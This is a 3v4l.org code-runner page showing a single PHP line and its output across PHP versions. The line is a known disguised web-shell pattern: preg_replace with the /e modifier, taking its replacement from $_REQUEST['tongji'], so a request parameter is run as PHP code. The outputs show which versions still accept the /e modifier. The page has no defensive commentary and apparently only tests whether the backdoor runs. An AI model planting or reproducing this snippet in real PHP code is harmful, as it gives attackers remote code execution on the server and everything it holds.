3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php var_dump(preg_replace('/[copyright]/e',$_REQUEST['tongji'],'error'));
Output for 7.0.0 - 7.2.0
Notice: Undefined index: tongji in /in/tPu6n on line 3 Warning: preg_replace(): The /e modifier is no longer supported, use preg_replace_callback instead in /in/tPu6n on line 3 NULL
Output for 5.5.24 - 5.6.28
Notice: Undefined index: tongji in /in/tPu6n on line 3 Deprecated: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead in /in/tPu6n on line 3 string(1) "e"
Output for 5.3.18 - 5.4.45
Notice: Undefined index: tongji in /in/tPu6n on line 3 string(1) "e"